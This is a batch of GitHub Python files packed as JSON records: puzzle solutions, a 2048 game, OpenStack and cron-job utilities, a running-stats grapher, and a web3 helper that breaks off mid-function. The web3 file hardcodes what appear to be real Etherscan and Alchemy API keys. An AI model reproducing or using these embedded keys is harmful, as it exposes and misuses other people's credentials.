smallestMultiple(num_range: tuple[int, int]) -> int:\n common_factors = {}\n for i in range(num_range[0], num_range[1] + 1):\n factors = getPrimeFactors(i)\n for num, power in factors.items():\n if num not in common_factors or common_factors[num] < power:\n common_factors[num] = power\n product = 1\n for num, power in common_factors.items():\n product *= pow(num, power)\n return product\n\n\nif __name__ == \"__main__\":\n print(smallestMultiple((1, 20)))\n","repo_name":"lesterfernandez/euler","sub_path":"p5_smallest_multiple.py","file_name":"p5_smallest_multiple.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72816399827","text":"#faster than 60% in python, for what it is worth\n#problem:\n#unsorted array, find smallest positive number NOT in it\n# try to save in O(n)\n# note: O(2n)= O(n) \n\nfrom collections import defaultdict\nclass Solution:\n def firstMissingPositive(self, nums):\n \n a = {}\n x = len(nums)\n for i in range(0,x):\n if nums[i]>0:\n a[nums[i]]=False\n #nums[:]= nums[1:]\n\n for j in range (1,x+1):\n if a.get(j) == None:\n return j\n return x+1\n","repo_name":"thm22c/leetcodesolutions","sub_path":"first_missing_positive.py","file_name":"first_missing_positive.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19633638660","text":"#!/usr/bin/env python\n\nfrom credentials import get_nova_creds_v2\nfrom novaclient.client import Client\nfrom sys import argv\n\nname = argv[1]\n# get nova credentials\ncredentials = get_nova_creds_v2()\nnova_client = Client(**credentials)\n\n# create a new floating ip from the addresses available\nip_list = nova_client.floating_ip_pools.list()\nfloating_ip = nova_client.floating_ips.create(ip_list[0].name)\n\n# assign the created ip address to the instance input by user\ninstance = nova_client.servers.find(name)\ninstance.add_floating_ip(floating_ip)\n","repo_name":"AKBoles/Openstack-Scripts","sub_path":"python/floatingip.py","file_name":"floatingip.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20775245077","text":"import requests\r\nimport tkinter as tk\r\nfrom tkinter import *\r\nimport tkinter.messagebox as msgbox\r\nfrom tkhtmlview import HTMLLabel\r\nprint('库导入完毕')\r\n\r\nheaders = {\r\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36'\r\n}\r\n\r\ndef get(link):\r\n import requests\r\n response = requests.get(url=link)\r\n response.encoding = 'utf-8'\r\n print(response)\r\n # 返回响应状态码\r\n print(response.status_code) # 200\r\n # 返回响应文本\r\n print(response.text)\r\n print(type(response.text))\r\n html=response.text\r\n return html\r\n\r\ndef view(html):\r\n viewWin=tk.Tk()\r\n inputbox=tk.Text(viewWin,width='1',font=('Courier New',10))\r\n inputbox.place(side=LEFT)\r\n inputbox.insert(END,html)\r\n outputbox=HTMLLabel(viewWin, width='1', background='white', html=html)\r\n outputbox.pack(side=RIGHT)\r\n outputbox.fit_height()\r\n viewWin.mainloop()\r\n\r\ndef start():\r\n link=linkEnter.get()\r\n if link!='':\r\n html=get(link)\r\n view(html)\r\n else:\r\n msgbox.showwarning('警告','必须输入链接')\r\n\r\nwin=tk.Tk()\r\nwin.geometry('800x450')\r\nwin.title('Python 爬虫助手')\r\nlinkEnterTip=tk.Label(win,text='将链接粘贴在此处',font=('幼圆',15))\r\nlinkEnterTip.place(x=30,y=20)\r\nlinkEnter=tk.Entry(win,width=50)\r\nlinkEnter.place(x=30,y=50)\r\nstartBtn=tk.Button(win,text='开始',fg='white',bg='green',font=('幼圆',15),command=start)\r\nstartBtn.place(x=30,y=100)\r\nwin.mainloop()\r\n","repo_name":"TotoWang-hhh/laptop-s5","sub_path":"Python爬虫助手.py","file_name":"Python爬虫助手.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33406871684","text":"# -*- coding: utf-8 -*-\n\nimport csv\nimport json\nimport sys\n\n\ndef produce_key(*args):\n \"\"\"\n Produce key.\n Returns:\n str: key\n \"\"\"\n key = \"\"\n for arg in args:\n if arg == \"\":\n break\n key += arg + \".\"\n\n if key.endswith('.'):\n key = key[:-1]\n return key\n\n\ndef make_key_value_pair(key, value):\n \"\"\"\n Make key value pair.\n key (str): Key\n value (str): Value\n Returns:\n dict: Key-value pair.\n \"\"\"\n return key, {\"tr\": key + \" - \" + value, \"en\": \"\"}\n\nif __name__ == \"__main__\":\n \"\"\"\n Pass an arg to script for filename.\n \"\"\"\n if len(sys.argv) >= 2:\n csv_file_name = sys.argv[1]\n else:\n raise ValueError(\"Please, enter a valid file.\")\n\n json_payload = {\"tasinir_kodlari\": {}}\n\n with open(csv_file_name) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n\n for row in reader:\n key = produce_key(*row[:-1])\n value = row[-1]\n payload = make_key_value_pair(key, value)\n json_payload[\"tasinir_kodlari\"][payload[0]] = payload[1]\n\n fp = open(\"tasinir_kodlari.json\", \"w\")\n fp.write(json.dumps(json_payload))\n fp.close()\n","repo_name":"zetaops/ulakbus","sub_path":"ulakbus/lib/tasinir_kodlari_parser.py","file_name":"tasinir_kodlari_parser.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":101,"dataset":"github-code","pt":"48"} +{"seq_id":"1126852855","text":"import pygame\r\nimport random\r\nimport copy\r\n\r\nWIDTH=600\r\nHEIGHT=600\r\nChance2=0.8\r\nChance4=1-Chance2\r\nGame_Over=False\r\nWHITE=(255,255,255)\r\nUP=0\r\nRIGHT=1\r\nDOWN=2\r\nLEFT=3\r\n\r\nColourDic={\r\n 1:(255,153,204),\r\n 2:(153,153,255),\r\n 3:(153,255,255),\r\n 4:(153,255,153),\r\n 5:(204,255,153),\r\n 6:(255,255,153),\r\n 7:(255,204,253),\r\n 8:(255,153,153),\r\n 9:(255,102,102),\r\n 10:(255,0,0),\r\n 11:(153,0,0),\r\n 12:(102,0,0)\r\n}\r\npygame.font.init()\r\n\r\ntext=pygame.font.Font(None,40).render(\"hahaha\",False,(0,0,0))\r\nBoard=[]\r\nfor x in range(4):\r\n Board.append([0,0,0,0])\r\n\r\ndef Addnum(Board,Chance2,Chance4):\r\n emptyList=[]\r\n for r in range(len(Board)):\r\n for c in range(len(Board[0])):\r\n if Board[r][c]==0:\r\n emptyList.append([r,c])\r\n ranpos=emptyList[random.randint(0,len(emptyList)-1)]\r\n i=random.random()\r\n if i<=Chance2:\r\n ranIn=1\r\n else:\r\n ranIn=2\r\n Board[ranpos[0]][ranpos[1]]=ranIn\r\n print(Board)\r\n\r\ndef drawBlock(Board):\r\n for r in range(len(Board)):\r\n for c in range(len(Board[0])):\r\n if Board[r][c] is not 0:\r\n index=Board[r][c]\r\n rect=pygame.Rect(c*int(WIDTH/4),r*int(HEIGHT/4),int(WIDTH/4),int(HEIGHT/4))\r\n text=str(2**Board[r][c])\r\n num=pygame.font.Font(None,80).render(text,True,(255,255,255))\r\n \r\n block=pygame.Surface((int(WIDTH/4),int(HEIGHT/4)))\r\n block.fill(ColourDic[index])\r\n SCREEN.blit(block,rect)\r\n SCREEN.blit(num,rect)\r\n \r\n \r\n\r\ndef checkNext(selfIn,nextIn):\r\n if nextIn==0:\r\n return True\r\n elif nextIn==selfIn:\r\n return True\r\n else:\r\n return False\r\n\r\ndef moveBlock(Board,direction):\r\n \r\n if direction==LEFT:\r\n for r in range(len(Board)):\r\n for c in range(len(Board[0])):\r\n if Board[r][c]==0:\r\n continue\r\n Combined=False\r\n for t in range(c):\r\n if Board[r][c-t-1]==0:\r\n Board[r][c-t-1]=Board[r][c-t]+0\r\n Board[r][c-t]=0\r\n elif Board[r][c-t-1]==Board[r][c-t] and not Combined:\r\n Board[r][c-t-1]=Board[r][c-t]+1\r\n Board[r][c-t]=0\r\n Combined=True\r\n else:\r\n break\r\n\r\n if direction==RIGHT:\r\n for r in range(len(Board)):\r\n c=len(Board)-1\r\n while c>=0:\r\n Combined=False\r\n for t in range(len(Board)-1-c):\r\n if Board[r][c+t+1]==0:\r\n Board[r][c+t+1]=Board[r][c+t]+0\r\n Board[r][c+t]=0\r\n elif Board[r][c+t+1]==Board[r][c+t] and not Combined:\r\n Board[r][c+t+1]=Board[r][c+t]+1\r\n Board[r][c+t]=0\r\n Combined=True\r\n else:\r\n break\r\n c-=1\r\n if direction==UP:\r\n for c in range(len(Board[0])):\r\n for r in range(len(Board)):\r\n Combined=False\r\n for t in range(r):\r\n if Board[r-t-1][c]==0:\r\n Board[r-t-1][c]=Board[r-t][c]+0\r\n Board[r-t][c]=0\r\n elif Board[r-t-1][c]==Board[r-t][c] and not Combined:\r\n Board[r-t-1][c]=Board[r-t][c]+1\r\n Board[r-t][c]=0\r\n Combined=True\r\n else:\r\n break\r\n if direction==DOWN:\r\n for c in range(len(Board[0])):\r\n r=len(Board[0])-1\r\n while r>=0:\r\n Combined=False\r\n for t in range(len(Board[0])-1-r):\r\n if Board[r+t+1][c]==0:\r\n Board[r+t+1][c]=Board[r+t][c]\r\n Board[r+t][c]=0\r\n elif Board[r+t+1][c]==Board[r+t][c] and not Combined:\r\n Board[r+t+1][c]=Board[r+t][c]+1\r\n Board[r+t][c]=0\r\n Combined=True\r\n else:\r\n break\r\n r-=1\r\n\r\n\r\npygame.display.init()\r\nSCREEN=pygame.display.set_mode((WIDTH,HEIGHT))\r\npygame.display.set_caption(\"2048\")\r\n\r\ndef drawBackgroundLines():\r\n for x in range(1,4):\r\n pygame.draw.line(SCREEN,WHITE,[0,x*int(HEIGHT/4)],[WIDTH,x*int(HEIGHT/4)])\r\n pygame.draw.line(SCREEN,WHITE,[x*int(WIDTH/4),0],[x*int(WIDTH/4),HEIGHT])\r\n\r\nAddnum(Board,Chance2,Chance4)\r\n\r\nwhile not Game_Over:\r\n SCREEN.fill((0,0,0))\r\n drawBlock(Board)\r\n drawBackgroundLines()\r\n for event in pygame.event.get():\r\n if event.type==pygame.QUIT:\r\n Game_Over=True\r\n \r\n if event.type==pygame.KEYDOWN:\r\n if event.key==pygame.K_UP:\r\n direction=UP\r\n temp=copy.deepcopy(Board)\r\n moveBlock(Board,direction)\r\n if not Board==temp:\r\n Addnum(Board,Chance2,Chance4)\r\n elif event.key==pygame.K_DOWN:\r\n direction=DOWN\r\n temp=copy.deepcopy(Board)\r\n moveBlock(Board,direction)\r\n if not Board==temp:\r\n Addnum(Board,Chance2,Chance4)\r\n elif event.key==pygame.K_LEFT:\r\n direction=LEFT\r\n temp=copy.deepcopy(Board)\r\n moveBlock(Board,direction)\r\n if not Board==temp:\r\n Addnum(Board,Chance2,Chance4)\r\n else:\r\n direction=RIGHT\r\n temp=copy.deepcopy(Board)\r\n moveBlock(Board,direction)\r\n if not Board==temp:\r\n Addnum(Board,Chance2,Chance4)\r\n \r\n \r\n pygame.display.flip()\r\n \r\n \r\n","repo_name":"frankiechang123/python_projects","sub_path":"2048.py","file_name":"2048.py","file_ext":"py","file_size_in_byte":5980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42568524944","text":"# Find the substring in the list\n\n# Create a function that takes a string and a list of string as a parameter\n# Returns the index of the string in the list where the first string is part of\n# Returns -1 if the string is not part any of the strings in the list\n\n# Example\n\n# input: \"ching\", [\"this\", \"is\", \"what\", \"I'm\", \"searching\", \"in\"]\n# output: 4\n\ninput_list = [\"this\", \"is\", \"what\", \"I'm\", \"searching\", \"in\"]\nn = \"ching\"\noutput_list = []\n\ndef listIndex(input_list, n):\n for i in range(len(input_list)):\n if n in input_list[i]:\n return i\n\n return -1\n\nprint(listIndex(input_list, n))\n","repo_name":"green-fox-academy/Bpatrik83","sub_path":"week-02/day-04/05_substrlist.py","file_name":"05_substrlist.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74904230865","text":"#coding=utf-8\nfrom uliweb import expose, functions\nimport logging\nfrom uliweb.i18n import ugettext_lazy as _\n\nlog = logging.getLogger(__name__)\n\n@expose('/cron')\nclass CronView(functions.MultiView):\n def _convert_title(self, value, obj):\n return u'''{title}'''.format(id=obj.id, title=value)\n\n def _convert_view_details(self, value, obj):\n from uliweb import request\n path = request.path\n v = []\n v.append(u'{1}'.format(\n obj.task_id, u'查看细节', path))\n #当状态不为成功或取消时,可以取消\n if obj.status not in ('1', 'C'):\n v.append(u'{1}'.format(\n obj.task_id, u'取消'))\n return ' '.join(v)\n\n def _convert_action(self, value, obj):\n return u'''{1}\n{2}'''.format(obj.id, _('Edit'), _('Delete'))\n\n def _convert_status(self, value, obj):\n #if the tasks is not\n v = obj.get_display_value('status')\n if value == '1':\n v = '%s' % v\n elif value == 'C':\n v = '%s' % v\n elif value == '2':\n v = '%s' % v\n elif value == '0':\n v = '%s' % v\n else:\n v = '%s' % v\n return v\n\n def _convert_enabled(self, value, obj):\n if value:\n return '启用'\n else:\n return '禁用'\n\n @expose('')\n def list(self):\n return self._list('cron_job', fields_convert_map=['title', 'action', 'enabled'])\n\n def _refresh_jobs(self):\n from . import refresh_jobs\n\n refresh_jobs()\n\n def _post_save(self, data, obj):\n from uliweb import response\n response.post_commit = self._refresh_jobs()\n\n def add(self):\n from .forms import JobForm\n\n def pre_save(data):\n data['enabled'] = True\n data['modified_user'] = request.user.id\n\n return self._add('cron_job', ok_url='/cron/{id}',\n post_save=self._post_save,\n pre_save=pre_save,\n form_cls=JobForm)\n\n @expose('/edit')\n def edit(self, id):\n from .forms import JobForm\n\n def pre_save(obj, data):\n data['modified_user'] = request.user.id\n\n obj = functions.get_object('cron_job', int(id))\n return self._edit('cron_job', obj=obj, ok_url='/cron/{id}',\n pre_save=pre_save,\n post_save=self._post_save,\n form_cls=JobForm)\n\n @expose('/delete')\n def delete(self, id):\n def pre_delete(obj):\n response.post_commit = self._refresh_jobs()\n\n obj = functions.get_object('cron_job', int(id))\n return self._delete('cron_job', obj=obj, ok_url='/cron',\n pre_delete=pre_delete)\n\n @expose('/start')\n def start(self, id):\n from .daemon import start_job\n from uliweb.utils import date\n\n try:\n obj = functions.get_object('cron_job', int(id))\n now = date.now()\n start_job(obj, now)\n flash('启动作业 {} 成功'.format(id))\n except Exception as e:\n log.exception(e)\n flash('启动作业 {} 失败'.format(id), 'error')\n return redirect('/cron/{}'.format(id))\n\n def start_task(self, id):\n from .daemon import start_task\n\n try:\n c = start_task(id)\n return json({'success':True, 'message':'启动命令成功', 'id':c.task_id})\n except:\n return json({'success':False, 'message':'启动命令失败'})\n\n @expose('')\n def view(self, id):\n \"\"\"\n 查看某个作业的执行信息\n \"\"\"\n # Detail = functions.get_model('cron_job_details')\n Task = functions.get_model('async_tasks')\n job = functions.get_object('cron_job', int(id))\n template_data = {'job_id':id, 'job':job}\n # condition = Detail.c.cron_job==int(id)\n fields_convert_map = ['view_details', 'status']\n fields = [\n {'name':'task_id', 'width':250},\n {'name':'startup_time', 'width':150},\n {'name':'started_time', 'width':150},\n {'name':'finished_time', 'width':150},\n {'name':'status', 'width':60},\n {'name':'view_details', 'width':100},\n ]\n return self._list('async_tasks',\n query=job.instances.fields('id', 'task_id',\n 'startup_time', 'started_time',\n 'finished_time', 'status'\n ),\n queryview=None,\n template_data=template_data,\n fields=fields,\n # condition=condition,\n order_by=Task.c.startup_time.desc(),\n fields_convert_map=fields_convert_map)\n\n @expose('/view')\n def view_workflow(self, id):\n Job = functions.get_model('cron_job')\n Task = functions.get_model('cron_task')\n job = Job.get(int(id))\n\n action = request.GET.get('action')\n if action == 'get_tasks':\n return self._do_get_tasks(job)\n else:\n return {'job':job}\n\n @expose('/workflow')\n def workflow(self, id):\n Job = functions.get_model('cron_job')\n Task = functions.get_model('cron_task')\n job = Job.get(int(id))\n\n action = request.GET.get('action')\n if action == 'get_tasks':\n return self._do_get_tasks(job)\n elif action == 'save':\n return self._do_save(job)\n else:\n return {'job':job}\n\n def _do_get_tasks(self, job):\n from uliweb import json\n\n tasks = []\n for t in job.tasks:\n d = {'id':str(t.id),\n 'command':t.command,\n 'title':t.command,\n 'label':t.label,\n 'work_directory':t.work_directory,\n 'depend_tasks':t.depend_tasks,\n 'queue':t.queue.split(','),\n 'timeout':t.timeout/60/1000,\n # 'change':False,\n }\n tasks.append(d)\n return json({'tasks':tasks})\n\n def _do_save(self, job):\n import json as _json\n from uliweb import request, json\n from uliweb.utils.common import expand_path\n\n Task = functions.get_model('cron_task')\n\n nodes = _json.loads(request.POST.get('nodes'))\n timeout = 0\n\n #对已有结点进行遍历,不存在的删除,已存在的更新,将依赖和子结点数清空\n for task in job.tasks:\n data = nodes.pop(task.id, None)\n #将分钟转为毫秒\n data['timeout'] = int(data['timeout']) * 60 * 1000\n if data['queue']:\n data['queue'] = ','.join(data['queue'])\n else:\n data['queue'] = 'default'\n if not data:\n task.delete()\n else:\n task.update(cron_job=job.id, modified_user=request.user.id, **data)\n task.save()\n timeout += task.timeout\n\n #nodes中剩余的就是新增的\n for _id, data in nodes.items():\n #将分钟转为毫秒\n data['timeout'] = int(data['timeout']) * 60 * 1000\n if data['queue']:\n data['queue'] = ','.join(data['queue'])\n else:\n data['queue'] = 'default'\n task = Task(cron_job=job.id, modified_user=request.user.id, **data)\n task.save()\n timeout += task.timeout\n\n #计算整个job的超时\n job.timeout = timeout\n job.save()\n return json({'success':True})\n\n\n @expose('/add_task')\n def add_task(self, id):\n def pre_save(data):\n data['cron_job'] = int(id)\n\n def post_created_form(fcls):\n fcls.queue.multiple = True\n\n return self._add('cron_task',\n json_result=True,\n post_created_form=post_created_form,\n pre_save=pre_save)\n\n","repo_name":"limodou/uliweb-apps","sub_path":"uliweb_apps/cron/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8690,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"12519366154","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndata = pd.read_csv(\"UAH_customer_order_data.csv\")\r\ndesc = data.describe()\r\ncpp_data2 = data[['Company','Total','Lineitem name','Lineitem sku']].dropna()\r\nclt2 = cpp_data2.groupby(['Company','Lineitem sku'])['Total'].sum().to_frame('Total').reset_index()\r\nclt_order2 = clt2.sort_values(by =['Company','Total'], axis = 0, ascending = False, ignore_index = True)\r\ntop5 = clt_order2.groupby('Company').head(5)\r\n#this is to only show the top 1 sku\r\n# clt_duplicate = clt_order2.drop_duplicates(subset=['Company'], keep='first')\r\n #displays all data\r\npd.set_option(\"display.max_rows\", None, \"display.max_columns\", None)\r\nprint('Top 5 SKU for each Company:')\r\nprint(top5)\r\ntop5.to_excel (r'C:\\Users\\drake\\Documents\\My Tableau Repository\\export_dataframe.xlsx', index = False, header=True)","repo_name":"Drakesanch36/BSSForecast","sub_path":"clt.py","file_name":"clt.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4160715701","text":"priority = ''.join([chr(i) for i in range(ord('a'), ord('z') + 1)] + [chr(i) for i in range(ord('A'), ord('Z') + 1)])\nscore = 0\n\nwith open('p3.txt', mode='r') as f:\n group = []\n\n for i, line in enumerate(f, start=1):\n group.append(line)\n\n if i % 3 == 0:\n a,b,c = group[0], group[1], group[2]\n for char in a:\n if b.find(char) != -1 and c.find(char) != -1:\n score += priority.find(char) + 1\n break\n group.clear()\n\nprint(score)\n","repo_name":"jyzeng77/AoC","sub_path":"2022/3.2.py","file_name":"3.2.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30865744423","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Aug 16 14:33:59 2023\r\n\r\n@author: vishal kurmi\r\n\"\"\"\r\n\r\ndef fun(a,b):\r\n c = a+b\r\n d= a-b\r\n return c,d\r\n\r\nfun(19,12)","repo_name":"Vishalpatel78/Python","sub_path":"return.py","file_name":"return.py","file_ext":"py","file_size_in_byte":167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33072803280","text":"import argparse\nimport logging\nimport signal\n\nfrom serve import config\n\n\ndef main():\n parser = argparse.ArgumentParser(description='serve up indexed files')\n parser.add_argument('-a', '--address', dest='address', help='address to bind')\n parser.add_argument('-p', '--port', type=int, dest='port', help='port to bind')\n parser.add_argument('-t', '--template', dest='template', help='template directory to use')\n parser.add_argument('-l', '--log', dest='log', help='log directory to use')\n parser.add_argument('root', nargs='?', help='root directory of files to serve')\n\n args = parser.parse_args()\n\n if args.address:\n config.addr = (args.address, config.addr[1])\n\n if args.port:\n config.addr = (config.addr[0], args.port)\n\n if args.template:\n config.template = args.template\n\n if args.log:\n if args.log == 'none':\n config.log = None\n config.http_log = None\n else:\n config.log = args.log + '/serve.log'\n config.http_log = args.log + '/http.log'\n\n if args.root:\n config.root = args.root\n\n config._apply()\n\n\n from serve import __version__\n from serve import http\n\n\n log = logging.getLogger('serve')\n\n log.info('serve ' + __version__ + ' starting...')\n\n # start everything\n http.start()\n\n\n # cleanup function\n def exit(signum, frame):\n http.stop()\n\n\n # use the function for both SIGINT and SIGTERM\n for sig in signal.SIGINT, signal.SIGTERM:\n signal.signal(sig, exit)\n\n # join against the HTTP server\n http.join()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lilyinstarlight/serve","sub_path":"serve/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23435030995","text":"__author__ = 'arthur'\nimport urllib.request\n\nimport yaml\n\nfrom cloudbot import hook\n\n\n@hook.command(\"yamlparse\", \"yamlsyntax\", \"ymlsyntax\", \"ymlparse\", \"checkyaml\", \"checkyml\")\ndef parseyaml(reply, text):\n try:\n doc = urllib.request.urlopen(text).read()\n except urllib.request.URLError:\n reply(\"Invalid URL!\")\n return\n\n try:\n yaml.safe_load(doc)\n except Exception as e:\n reply(\n \"An error occured while trying to parse your document. Check if the url is valid and contains only your document. Check syntax for errors too (tabs/spaces?).\")\n reply(\"The exeption was : \" + str(e))\n return None\n\n reply(\"Everything seems fine in this document !\")\n","repo_name":"paris-ci/CloudBot","sub_path":"plugins/yamlparser.py","file_name":"yamlparser.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"40392675402","text":"\"\"\"Tower of Hanoi is a mathematical puzzle where we have three rods (A, B, and C) and N disks. Initially, all the disks are stacked in decreasing value of diameter i.e., the smallest disk is placed on the top and they are on rod A. The objective of the puzzle is to move the entire stack to another rod (here considered C), obeying the following simple rules: \r\n\r\n>Only one disk can be moved at a time.\r\n>Each move consists of taking the upper disk from one of the stacks and placing it on top of another stack i.e. a disk can only be moved if it is the uppermost disk on a stack.\r\n>No disk may be placed on top of a smaller disk.\"\"\"\r\n \r\ndef tower_of_hanoi(disks, source, auxiliary, target): \r\n if(disks == 1): \r\n print('Move disk 1 from rod {} to rod {}.'.format(source, target)) \r\n return \r\n tower_of_hanoi(disks - 1, source, target, auxiliary) \r\n print('Move disk {} from rod {} to rod {}.'.format(disks, source, target)) \r\n tower_of_hanoi(disks - 1, auxiliary, source, target) \r\n\r\ndisks = int(input('Enter the number of disks: ')) \r\ntower_of_hanoi(disks, 'A', 'B', 'C') ","repo_name":"2002VishalPatidar/DS_Assignment","sub_path":"Q5_DS.py","file_name":"Q5_DS.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42386594783","text":"#!/usr/bin/env python\n\n#Use: ./graph.py -f (5km predicted time at the moment) -d (directory location of tcx files)\n\nfrom rTSS import scoremyrun\nfrom readtcx import get_dataframes\nimport sys\nimport glob\nimport matplotlib as mpl\nmpl.use('tkagg')\nfrom matplotlib import dates as mdates\nimport matplotlib.pyplot as plt, mpld3\nfrom datetime import date, timedelta\nimport time\nimport pandas as pd\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\nfrom numpy import linspace\nfrom mpld3 import plugins\nimport argparse\nimport logging\n\n\n#fivekm = argv[1]\n#directory = argv[2]\n\ndef parse_arguments(argv):\n \"\"\"\n Setup the argument parser and parse the command line arguments.\n \"\"\"\n\n parser = argparse.ArgumentParser(description='Garmin Connect Exporter')\n\n parser.add_argument('-d', '--directory',\n help='the directory where the tcx files are stored (e.g. Users/emilybradley/Desktop/runstats/em_files_updated_Nov6)')\n parser.add_argument('-f', '--fivekm',\n help='estimation of current 5km race time')\n parser.add_argument('-s', '--save', default='/Users/emilybradley/Desktop/runstats/traininggraph.html',\n help='directory location and name under which the graph will be saved, e.g. /Users/emilybradley/Desktop/runstats/traininggraph.html')\n\n return parser.parse_args(argv[1:])\n\n\n\ndef main(argv):\n \"\"\"\n Main entry point for graph.py\n \"\"\"\n args = parse_arguments(argv)\n\n print('Building your form graph!')\n\n listofactivitydicts = []\n\n activity_list = glob.glob(\"/\" + args.directory + \"/*.tcx\")\n\n for activity_path in activity_list:\n try:\n laps_df = get_dataframes(activity_path)[0]\n stats_dict = get_dataframes(activity_path)[2]\n except:\n logging.error('error with ' + activity_path)\n else:\n if laps_df is not None:\n rTSS = scoremyrun(args.fivekm, laps_df)\n stats_dict['rTSS'] = rTSS\n listofactivitydicts.append(stats_dict)\n\n run_scores = []\n for run in listofactivitydicts:\n run_scores.append((run['starting time'].date(), run['rTSS'], run['distance'], run['duration'], run['average pace']))\n\n #sort run_scores (a list of lists) by date (newest to oldest)\n run_scores = sorted(run_scores, key=lambda x: x[0], reverse = True)\n date_labels = list(zip(*run_scores))[0]\n score_labels = list(zip(*run_scores))[1]\n distance_labels = list(zip(*run_scores))[2]\n duration_labels = list(zip(*run_scores))[3]\n pace_labels = list(zip(*run_scores))[4]\n\n labels = ['

    {title1}
    rTSS: {title2}
    {third}
    {fourth}
    {fifth}

    '.format(\n title1=date_labels[x].strftime(\"%d/%m/%Y\"), title2=str(score_labels[x]), third=distance_labels[x], fourth=time.strftime('%H:%M:%S', time.gmtime(duration_labels[x])), fifth=pace_labels[x]) for x in range(len(run_scores))]\n\n #labels = [date_labels[x].strftime(\"%d/%m/%Y\")+', '+'rTSS: '+str(score_labels[x])+', '+ distance_labels[x]+', '+time.strftime('%H:%M:%S', time.gmtime(duration_labels[x]))+', '+pace_labels[x] for x in range(len(run_scores))]\n\n #find the range of dates that are possible to calculate forms for (dates for which there is 42 days of data preceeding them)\n day_count = (run_scores[0][0] - run_scores[-1][0]).days\n date_range = [run_scores[-1][0] + timedelta(n) for n in range(day_count)]\n date_range_minus42 = date_range[42:]\n\n run_scores_to_plot = []\n for run in run_scores:\n if run[0] in date_range_minus42:\n run_scores_to_plot.append(run)\n \n forms_rolling = []\n forms_weekly = []\n form_delta = []\n\n weighting = linspace(1.5,0.5,42)\n\n for single_date in date_range[42:]:\n form = 0\n for date1 in (single_date - timedelta(n) for n in range(42)):\n for x in range(len(list(zip(*run_scores))[0])):\n if date1 == list(zip(*run_scores))[0][x]:\n days_since = (single_date - date1).days\n form += list(zip(*run_scores))[1][x]*weighting[days_since]\n forms_rolling.append((single_date,form/42))\n \n for single_date in date_range[42:]:\n form = 0\n for date1 in (single_date - timedelta(n) for n in range(7)):\n for x in range(len(list(zip(*run_scores))[0])):\n if date1 == list(zip(*run_scores))[0][x]:\n form += list(zip(*run_scores))[1][x]\n forms_weekly.append((single_date,form/7))\n \n for form in forms_rolling:\n index = forms_rolling.index(form)\n form_delta.append((form[0],form[1]-forms_weekly[index][1]))\n\n fig, ax = plt.subplots()\n points = ax.scatter(list(zip(*run_scores))[0], list(zip(*run_scores))[1], s=2, c='r')\n ax.plot(list(zip(*forms_rolling))[0], list(zip(*forms_rolling))[1], c='b')\n ax.plot(list(zip(*forms_weekly))[0], list(zip(*forms_weekly))[1], c='m', linewidth=0.5)\n ax.plot(list(zip(*form_delta))[0], list(zip(*form_delta))[1], c='y', linewidth=0.5)\n plt.gcf().autofmt_xdate()\n plt.ylim(-30,150)\n plt.ylabel('rTSS')\n\n tooltip = plugins.PointHTMLTooltip(points, labels)\n\n plugins.connect(fig, tooltip)\n\n mpld3.show()\n\n mpld3.save_html(fig, args.save)\n\n\n\nif __name__ == \"__main__\":\n try:\n main(sys.argv)\n except KeyboardInterrupt:\n print('Interrupted')\n sys.exit(0)","repo_name":"emilybradley00/runstats","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12734089882","text":"from web3 import Web3\nimport json\nimport requests\n\nABI_ENDPOINT = 'https://api.etherscan.io/api?module=contract&action=getabi&apikey=MSXNM2STXHIDHBS9ZAHA4CS5E5FW5U3VU2&address='\nurl = \"https://eth-mainnet.alchemyapi.io/v2/jUHFvIpnWEkKMCAkVD8A9EgU7M-hooe-\"\nweb3 = Web3(Web3.HTTPProvider(url))\n\ndef initWeb3():\n print('Initializing web3...')\n global web3\n web3 = Web3(Web3.HTTPProvider(url))\n print('web3 intialized')\n\ndef getContractABI(contract_address):\n json_res = {}\n response = requests.get('%s%s'%(ABI_ENDPOINT, contract_address))\n response_json = response.json()\n if response_json.get('result') == 'Contract source code not verified':\n json_res = 